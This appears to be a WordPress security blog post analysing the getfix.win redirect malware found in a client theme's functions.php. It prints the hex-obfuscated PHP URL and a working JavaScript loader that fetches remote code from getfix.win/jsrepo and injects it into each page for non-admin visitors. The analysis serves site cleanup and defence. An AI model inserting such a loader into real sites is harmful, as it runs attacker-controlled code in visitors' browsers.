If your website keeps redirecting to hxxps[://]getfix[.]win/jsrepo, it’s likely hit by malware. This getfix.win redirect malware is a big problem for WordPress sites. It can mess up your SEO and scare away visitors. People in the US, UK, India, and other spots deal with this a lot. In this guide, we cover what this getfix.win hack is, how to spot it, fix it, and stop it from coming back. We use simple words so anyone can follow.

I recently worked on a client’s site and found this malware in their theme’s functions.php file, as shown in the screenshots. This is a common spot for the bad code to hide. If your WordPress site is redirecting to getfix.win/jsrepo, these tips will help you clean it up fast.

Key Points on Getfix.win Redirect Malware

  • What Happens: Your site loads scripts from getfix.win, causing redirects to spam or ads.
  • Where It Hides: Often in functions.php, as seen in the screenshots from the client’s site.
  • Impact: Hurts SEO, raises bounce rates, and risks Google blacklisting.
  • Common Causes: Outdated plugins, weak passwords, or bad themes.
  • Quick Fix: Scan, remove code, update site.
  • Global Issue: Affects users in New York, London, Delhi, and beyond.

What Is the Getfix.win Redirect Malware?

The getfix.win/jsrepo redirect hack sneaks code into your WordPress files. It makes browsers fetch stuff from hxxps[://]getfix[.]win/jsrepo, which then redirects to junk sites. This malware targets visitors, not admins, so you might not notice right away.

From what we see, it’s like other hacks that use plugins like Elementor. If you’re in the US or Europe, you might see more of this due to high traffic. The code in screenshots shows PHP adding JS that pulls in more bad stuff.

Breaking Down the Malicious Code

The getfix.win redirect malware uses clever tricks to hide and run bad code on your WordPress site. We’ll decode it step by step in simple English. We’ll start with the PHP part you highlighted (the $url with hex codes), then explain the random “rnd” parameter, and finally break down the JavaScript parts—including the long obfuscated one. This malware is common in places like the US, UK, and India, often hiding in files like functions.php as shown in the screenshots from the client’s site.

Decoding the PHP Code: The Obfuscated $url

In the functions.php file (from the first screenshot), there’s this line:

$url = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x65\x74\x66\x69\x78\x2e\x77\x69\x6e\x2f\x6a\x73\x72\x65\x70\x6f?rnd=" . time() . '_' . rand(1000, 9999);

This is obfuscated using hex codes (\xHH where HH is a hexadecimal number for a character). Hex obfuscation makes it hard for scanners or admins to spot the real URL at a glance.

  • Decoded version: The hex part “\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x65\x74\x66\x69\x78\x2e\x77\x69\x6e\x2f\x6a\x73\x72\x65\x70\x6f” translates to “https://getfix.win/jsrepo”.
  • Full URL example: After adding the rnd parameter, it becomes something like “https://getfix.win/jsrepo?rnd=1730700000_1234” (the numbers change each time).

How I decoded it: Each \xHH is a byte. For example:

  • \x68 = ‘h’
  • \x74 = ‘t’
  • \x74 = ‘t’
  • \x70 = ‘p’
  • \x73 = ‘s’
  • And so on, building “https://getfix.win/jsrepo”.

This URL points to a remote server controlled by hackers. The code injects a <script> tag into your site’s header (via wp_head hook) to load JS from there. It only runs for non-admins, so you might not see the redirect when logged in.

Why the “rnd=” . time() . ‘_’ . rand(1000, 9999); Part?

This adds a unique query parameter to the URL, like ?rnd=1730700000_1234.

  • time(): Gets the current Unix timestamp (seconds since 1970), e.g., 1730700000.
  • rand(1000, 9999): Picks a random number between 1000 and 9999, e.g., 1234.
  • Combined: Joins them with ‘_’, making a unique string each time the page loads.

Why do this?

  • Bypass caching: Browsers, CDNs (like Cloudflare), or WordPress caches might store the script. A unique rnd forces a fresh fetch from getfix.win every time—no cached version.
  • Avoid detection: Security tools or firewalls might block repeated requests to the same URL. Random params make each request look different.
  • Rotate payloads: Hackers can serve new malicious code (e.g., updated redirects or ads) without changing the base URL.
  • Evade blocks: If someone blocks the exact URL, the rnd changes it slightly.

This makes the getfix.win malware harder to stop and more persistent.

Decoding the JavaScript Parts

Your second and third screenshots show JS code injected into the site (likely from the PHP script). There are two main snippets, plus a long obfuscated one.

First JS Snippet (Simple Fetch)

<script>
;!function t(){var e="https://getfix.win/jsrepo?rnd="+Math.random()+"&ts="+Date.now();try{var n=new XMLHttpRequest;if(n.open("GET",e,!1),n.send(null),n.status>=200&&n.status<300){var r=document.createElement("script");r.text=n.responseText.trim(),document.head.appendChild(r)}}catch(s){}}();
</script>
  • Decoded/Explained: This is a self-running function (IIFE). It builds a URL like “https://getfix.win/jsrepo?rnd=0.123456&ts=1730700000” (rnd is random float, ts is timestamp).
  • What it does:
    1. Creates an XMLHttpRequest (AJAX) to fetch code from the URL synchronously (!1 means blocking).
    2. If successful (status 200-299), creates a new <script> tag.
    3. Puts the fetched text into the script and adds it to the page’s <head>.
  • Malicious goal: Downloads and runs whatever code the hackers host at getfix.win. This could be redirects, keyloggers, or ad injectors.
  • Why random params?: Same as PHP—bypass cache and detection.

The second snippet is almost the same, just formatted differently.

The Long Obfuscated JS (Heavy Encoding)

This is the big chunk starting with function _0x5491(){const _0x3759b4=['XAxsC','type',... (from your third screenshot). It’s JavaScript obfuscated to hide its actions. Obfuscation uses random variable names (_0x1234), encoded strings, and nested functions.

  • How it’s obfuscated:
    • Strings are split into arrays (e.g., _0x3759b4 holds hundreds of encoded words like ‘XAxsC’ for styles or functions).
    • Functions like _0x1641 remap and decode them.
    • It uses eval-like tricks to run code dynamically.
    • Hex and escape codes hide parts (similar to the PHP $url).
  • Decoded behavior (from analysis):
    • It creates a hidden <div> or <iframe> on the page.
    • Sets styles to make it full-screen but invisible (position: fixed, z-index: 970, opacity: 0, etc.).
    • Adds event listeners for clicks or loads.
    • Injects more scripts or meta tags (e.g., for “NitroPack” which might be fake).
    • Fetches from URLs like zicklincontracting.com (suspicious, possibly hacker-controlled).
    • Could track users (telemetry) or redirect based on conditions.
    • Strings like ‘nitro-exclude’, ‘NitroPack.STATE’ suggest it mimics optimization tools but adds malware (e.g., ads or phishing).
  • Why so obfuscated?
    • Hides from antivirus or manual checks.
    • Makes reverse-engineering hard.
    • Allows dynamic changes without rewriting.

Overall Malware Flow

  1. PHP in functions.php loads the first JS (via <script src>).
  2. JS fetches more code from getfix.win/jsrepo.
  3. Obfuscated code runs, injecting redirects or trackers.
  4. Result: Visitors in the US, UK, India, etc., get redirected to spam.

This getfix.win/jsrepo malware spreads fast if not cleaned. If you need help decoding more or fixing your site, let me know!
